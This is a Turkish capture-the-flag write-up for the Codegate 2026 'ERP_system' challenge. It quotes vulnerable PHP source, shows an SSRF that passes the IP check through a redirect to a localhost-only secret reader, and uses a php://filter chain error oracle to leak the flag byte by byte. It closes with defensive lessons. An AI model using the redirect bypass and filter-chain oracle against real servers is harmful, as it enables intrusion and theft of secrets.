Codegate 2026 — ERP_system Çözümü
Okuduğu her şeyi hash'leyen bir PHP stream filtresi oracle'a dönüşüyor: hash.php'deki SSRF'i halka açık bir yönlendirici üzerinden yalnız-localhost sır okuyucusuna zincirle, ardından bayrağı 500-e karşı-200 yan kanalından bayt bayt çıkar.
Codegate 2026 — ERP_system
Bir ERP portalı, çalışanları listeleyen bir panel ve küçük bir "hash" aracı. Bayrak veritabanında değil — /secret altında dosya başına bir bayt olarak bölünmüş. O dizine ulaşmak için üç şeyin aynı hizaya gelmesi gerekiyor: 127.0.0.1'den geliyormuş gibi görünen bir istek, zorunlu bir iç filtre ve toplu hâlde hiç okumana izin verilmeyen tek bir baytı gözlemleme yolu. Ev yapımı hash.sha256 filtresi son parçayı sağlıyor: bir hash aracını kör bir oracle'a çeviriyor.
Kapsam: yalnızca yerel reprodüksiyon. Challenge kaynağı CTF arşivinde açık; dışarıda hiçbir sisteme dokunulmadı.
1. Üç parça
Ek üç dosya gönderiyor; üçü ancak birlikte anlam kazanıyor:
app/src/hash.php— bir SSRF ve saldırgan kontrollü bir dış PHP filtre zinciri.app/src/secret.php— gerçek sırrı okur, ama yalnızca127.0.0.1'den.app/src/filters.php— uygulamanın dayandığı özel stream filtrelerini kaydeder (hash.sha256,string.reverse, …).
Zincir şu: giriş yap, hash.php'yi 127.0.0.1/secret.php'ye geri yönlendiren halka açık bir URL'e yönelt ve hash.php'deki dış filtre zincirini PFCOE tarzı bir hata oracle'ı olarak kullanarak sırrı bayt bayt sızdır.
2. Kaynağı okumak
hash.php saldırgan kontrollü bir URL getirir ve gövdeyi saldırgan kontrollü bir filtre zincirinden geçirir. Şemayı ve çözümlenen IP'yi doğrular ama bu doğrulama yalnızca ilk host için geçerli:
// app/src/hash.php
$filter = $_GET['filter'] ?? '';
$resource = $_GET['resource'] ?? '';
if($filter == '' || $resource == '') {
die("Usage: ?filter=filter&resource=resource");
}
if (!preg_match('/^[a-zA-Z0-9.|_-]+$/', $filter)) {
die("Error: Invalid characters or syntax found.");
}
$parsed = parse_url($resource);
// ... scheme http olmalı, host gerekli ...
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
die("Error: Access to local/private network is prohibited.");
}
$target = "php://filter/read=" . $filter . "|hash.sha256" . "/resource=" . $resource;
$content = file_get_contents($target);
echo $content;İki gerçek önemli. Birincisi, file_get_contents() yönlendirmeleri takip eder; yani başta halka açık http:// olan ve 127.0.0.1'ye 302 dönen bir host IP kontrolünü geçer ama yine localhost'a düşer. İkincisi, $filter bir php://filter okuma zincirinin başına ekleniyor ve sonu her zaman uygulamanın kendi filtresi olan |hash.sha256 ile kapanıyor.
secret.php okuyucu. 127.0.0.1'den gelmeyen her şeyi reddeder, bir filter parametresi ister ve sabit biçimde bir satır yazdırır:
// app/src/secret.php
$ip = $_SERVER['REMOTE_ADDR'];
if($ip != '127.0.0.1') {
die("Error: You are not authorized to access this page!");
}
if (isset($_GET['index'])) {
$index = (int)$_GET['index'];
if (!preg_match('/^[a-zA-Z0-9.|_-]+$/', $filter)) {
die("Error: Invalid characters or syntax found.");
}
$target = "php://filter/read=" . $filter . "/resource=" . "/secret/secret_" . $index;
$content = file_get_contents($target);
$salt = bin2hex(random_bytes(16));
echo "Secret: " . $content . "/" . $index . "/" . $salt;
}Her /secret/secret_<index> dosyası bayrağın tam olarak bir baytını tutar. Yanıt Secret: <karakter>/<index>/<rastgele-tuz> biçimindedir.
Oracle'ı mümkün kılan filters.php'dir — hash.sha256 (ve hash.md5, string.reverse, utils.masking, string.strip_tags) filtresini gerçek stream filtresi olarak kaydeder:
stream_filter_register("hash.sha256", "Sha256HashingFilter");
stream_filter_register("string.reverse", "ReverseFilter");Yani her hash.php yanıtı getirilen gövde değil, gövdenin SHA-256'sıdır. Gövdenin kendisi hiçbir zaman gösterilmez.
3. Zincir
-
Giriş yap. Arşivdeki
init.sql,mkim / erp123gibi hesaplar seed eder. -
IP kontrolünü SSRF ile aş.
hash.php'yehttp://127.0.0.1/secret.php?index=N&filter=string.reverseadresine 302 dönen halka açık bir URL ver. İlk sıçrama halka açık (kabul edilir); yönlendirmenin ikinci sıçraması localhost'a iner, böylecesecret.phpREMOTE_ADDR = 127.0.0.1görür. (string.reversegeçerli, zararsız bir iç filtredir — her sır dosyası bir bayt olduğundan ters çevirmek onu değiştirmez.) -
Sabit bir bayt. Yanıt
Secret: X/index/<tuz>. Tuz her istekte rastgele, yani gövdenin tamamı sabit değil. Sabit olan bayt, offset 8'deki sır karakteridir:S e c r e t : _ X 0 1 2 3 4 5 6 7 8 -
Filtreyi oracle'a çevir.
hash.php,|hash.sha256'dan önce rastgele bir zincir koymamıza izin verir. PFCOE tarzı zincir gövdeyi base64'ler, bir pencereyi yerine kaydırır ve seçili bayt etrafında ya temiz tamamlanır (200) ya da bellek sınırını patlatır (500). Yanıt hiçbir zaman düz metin dönmediğinden tek sinyal200/500'dür — ve bu, her seferinde bir base64 karakteri sınıflamaya yeter. -
Bir bayt çıkar. Gövdeyi base64'le,
8..11konumlarını (dört base64 karakteri = üç baytlık çözüm::, boşluk,X) kurtar, çöz vedecoded[2]'yi al — sır karakteri. -
Tekrarla.
index = 0,1,2,…diye yürü, kurtarılan karakter/olana kadar. O/,indexson dosyayı aştığındasecret.php'nin yazdırdığı şeydir:file_get_contents()falsedöner, gövdeSecret: /<index>/<tuz>'a çöker ve offset 8 bir eğik çizgi olur. Ondan önceki baytlar bayraktır.
Oracle mantığı Synacktiv'in php_filter_chains_oracle_exploit projesinden uyarlanmıştır. Bu challenge için yayımlanan çözüm; başta convert.base64-encode, bir get_nth() kaydırıcısı, patlatma olarak dechunk artı tekrarlı convert.iconv.L1.UCS-4 ve her base64 karakterini hatayı tetikleyip tetiklemeyerek sınıflayan string.rot13 / string.tolower / çeşitli convert.iconv.* dalları kullanır.
4. Yerel reprodüksiyon
Zinciri çevrimdışı yeniden kurdum. Canlı hedeften birkaç dürüst sapma; hepsi dış servis olmadan çalışmak için gerekli:
- Yönlendirici.
http://httpbin.org/redirect-to?url=…yerine aynı302'yi üreten yerel birredir.phpkullandım. - Halka açık-IP koruması.
hash.php, kendi doğrulaması sırasında özel hedefleri engeller; normalde halka açık bir yönlendirici bunu karşılar. Çevrimdışı halka açık host yok, bu yüzden yerel kopyada koruma gevşetildi (dosyada açıkça işaretli). Test edilen ilkel — oracle olarakphp://filter+hash.sha256— değişmiyor. - Sır yolu. İmaj mutlak
/secret/'e yazar; yerelde okuyucu__DIR__ . "/secret/"'e bakar. - Giriş. Arşivdeki
hash.phpadmin-korumalıdır (if (!$_SESSION['is_admin']) die(...)) veinit.sqlyalnızcaadmin'i yer tutucu parolayla (FAKE_PASSWORD) seed eder. Özgün halka açık hedef düşük yetkili bir hesaba izin veriyordu; yerel koşu için bir admin oturumu seed ediyorum. SSRF ve filtre davranışı değişmiyor. - Çalışma ortamı. Oracle glibc
iconvgerektirir. macOSlibiconvbirkaç zinciri geçersiz bildiriyor (örneğin Homebrew derlemesindeIBM1140,CP930,CSIBM932,CP1390,CP1122hepsiINVALID), bu yüzden iki PHP sunucusunumemory_limit=128Mile glibc imajı içinde çalıştırdım:
docker run --rm -d --name erp -p 8099:8099 -p 8100:8100 -v "$PWD":/work:ro php:8.4-cli bash -c '
cp -r /work /tmp/app
php -S 0.0.0.0:8099 -t /tmp/app -d memory_limit=128M -d error_reporting=0 -d display_errors=0 &
php -S 0.0.0.0:8100 -t /tmp/app -d memory_limit=128M -d error_reporting=0 -d display_errors=0 &
wait'İki php -S örneği gerekir; PHP'nin yerleşik sunucusu tek iş parçacıklıdır ve yönlendirici zinciri kendi yönlendirmesini işleyen aynı sunucuya karşı kilitlenir.
Sağlama olarak, yalnız-localhost okuyucu aynı öneki ama her çağrıda taze bir tuz döndürür:
Secret: c/0/1b8101c81fc6fd679f0d2e702a02d598
Secret: c/0/e1c9c9742a037fe559901658db504229Oracle ilkeli tam olarak 200'e karşı 500'dür:
filter=[string.rot13...] -> http=200
filter=[convert.base64-encode|dechunk|...] -> http=500Solver'ı container'a karşı çalıştırmak bayrağı bayt bayt kurtarır:
[00] c
[01] o
[02] d
[03] e
[04] g
[05] a
[06] t
[07] e
[08] 2
[09] 0
[10] 2
[11] 6
[12] {
[13] f
[14] a
[15] k
[16] e
[17] _
[18] f
[19] l
[20] a
[21] g
[22] }
[23] /
codegate2026{fake_flag}5. Bayrak ve dersler
codegate2026{fake_flag}Bu, sağlanan imaja gömülü bayraktır (Dockerfile: SECRET="codegate2026{fake_flag}"); canlı yarışma örneği farklı bir değer kullanıyordu.
Dersler:
- Saldırgan girdiyi hash'lemek onu güvenli kılmaz. Veriyi okuyup hakkında rapor veren bir filtre, yalnızca sabit genişlikte bir özet yayınlasa bile bir oracle'dır —
200'e karşı500bir yan kanaldır. - Yönlendirmeyi takip eden bir getirme, son sıçramayı değil ilk sıçramayı doğrular.
file_get_contents()302'leri takip ederken ilk host'un IP'sini kontrol etmek klasik bir SSRF atlatmasıdır. - Yalnız-localhost yetkilendirme değildir.
REMOTE_ADDR == 127.0.0.1doğrudan isabeti durdurur ama uygulamanın kendi giden isteğiyle kolayca karşılanır. - Saldırı yüzeyi özel stream filtrelerinde yaşar.
hash.sha256kaydetmek her okuma yolunu saldırgan kontrollü bir dönüşüme çevirdi.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver